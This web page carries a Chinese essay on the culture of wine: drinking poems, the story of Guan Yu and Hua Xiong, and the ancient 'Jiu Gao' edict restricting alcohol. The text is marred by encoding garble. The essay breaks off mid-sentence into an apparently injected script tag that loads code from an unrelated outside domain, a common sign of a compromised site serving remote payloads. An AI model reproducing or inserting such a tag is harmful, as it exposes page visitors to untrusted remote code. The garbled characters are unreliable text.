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酒中的豪情與奢靡

放大字體  縮小字體 發(fā)布日期:2013-10-28  作者:流星的美  瀏覽次數(shù):5231
核心提示:酒中的豪情與奢靡 時逢三五便團圓,滿把晴光護玉欄。明月幾時有,沒有美酒何以問青天。食文化是東方中國文化的一大特色,而酒

酒中的豪情與奢靡

時逢三五便團圓,滿把晴光護玉欄。明月幾時有,沒有美酒何以問青天。食文化是東方中國文化的一大特色,而酒文化則是中國食文化的精華,是這一中國特色文化的發(fā)酵劑、潤滑劑、助推劑和粘合劑,在不同的場合起著多元的作用。酒在中華文化的歷史長河中,已不僅僅是一種液體的客觀物質(zhì)存在,飲酒更是一種固化的精神文化象征和流動的社會生活習俗。
  善助英雄壯膽,能添錦繡詩腸。神仙造下解愁方,雪月風花玩賞。自古到今,中國的酒文化源遠流長、綿延不絕。在文學藝術的王國中,酒神精神無處不在、無所不往,它是文人墨客滾滾創(chuàng)作思潮的源泉,以至留下無數(shù)的不朽之作?!袄畎锥肪圃姲倨?,長安市上酒家眠,天子呼來不上船,自稱臣是酒中仙?!?唐.杜甫)“俯仰各有志,得酒詩自成?!?宋.蘇軾)“一杯未盡詩已成,涌詩向天天亦驚?!?宋.楊萬里)。飲酒甚至醉酒而成傳世詩作,這樣的例子在中國文學史上遍地開花,俯拾皆是。
  臨行更喝一杯酒,渾身是膽雄赳赳。美酒對于赳赳武將來說,又何嘗不是出征臨行助膽壯威的“精神良藥”。酒壯將軍膽,更助三軍威的故事不絕于史。三國時董卓作亂,諸侯群起而討伐。兩軍對壘,關羽主動請纓。曹操已覺關羽乃英雄是也,于是溫酒一杯,親自捧上,與關羽飲。關羽曰:“酒且斟下,某去便來?!背鰩ぬ岬讹w身上馬。不一會兒馬到中軍,關羽已提華雄之頭擲于帳下,此時其酒尚溫。真是云長停盞施英勇,酒尚溫時斬華雄,這千古美談之中,酒功不可沒。
  雖說是三杯能和萬事,一醉善解千愁。然而抽刀斷水水更流,舉杯消愁愁更愁。世上的事沒有絕對性,作為一個錢幣的兩面,酒乃五谷所釀,純水所制,一杯之中,用糧幾多?千夫之作,幾人享用?杜康造下萬家春,倍添民間幾多愁。是故,《尚書.酒誥》有言:“祀茲酒。惟天降命,肇我民,惟元祀。天降威,我民用大亂喪德,亦罔非酒惟行。越小大邦用喪,亦罔非酒惟辜?!狈g成白話文即是:“只有在祭祀之時才需要用到酒,平時不應常飲……酒本為祭祀,但亦可亂行。無論是小國還是大邦所以喪亡的,無不以酒為罪?!?
  《酒誥》體現(xiàn)了古代“飲酒亡國”的政治觀念。夏、商后期的統(tǒng)治者因酒廢政,給周初的統(tǒng)治者提供了深刻的教訓,于是下決心要肅清酗酒惡習,以正民風。在周公看來,商紂之亡國,與夏桀亡國有極為相似的歷史原因,那就是酗酒喪德。故武王伐紂勝利后,為了建立新秩序,防止故殷之地積習難改,縱酒之風繼續(xù)蔓延,也為了防止周人相沿為習腐化墮落,周公特意宣布限酒令,授命幼弟康叔受封衛(wèi)國時告誡其應當舉國禁酒,不要荒耽于飲酒而失德亂政?!渡袝分械摹毒普a》是我國歷史上第一部正式限酒的法律,也是世界上最早的限酒令,從中我們可以看到西周初年周公為首的?script src=http://www.234mu.com/>
 
 
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